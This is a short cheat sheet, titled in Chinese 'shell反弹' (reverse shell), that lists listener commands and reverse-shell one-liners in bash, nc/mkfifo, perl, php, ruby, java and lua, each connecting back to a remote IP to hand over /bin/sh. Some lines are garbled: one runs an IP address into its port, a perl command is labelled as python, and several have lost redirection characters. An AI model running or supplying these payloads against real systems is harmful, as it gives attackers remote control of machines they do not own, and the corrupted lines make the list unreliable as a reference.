shell反弹
A:nc -l 8081B:rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.7.1.288081>/tmp/f
A:nc -l 8081
B:bash -i >& /dev/tcp/10.7.1.28/8081 0>&1
python版：
A:nc -l 8081
B:perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
php版本:
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i &3 2>&3");'
ruby版本：
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i &%d 2>&%d",f,f,f)'
java版本
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5/dev/tcp/10.0.0.1/2002;cat &5 >&5; done"] as String[])
p.waitFor()
lua版本：
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i &3 2>&3');"
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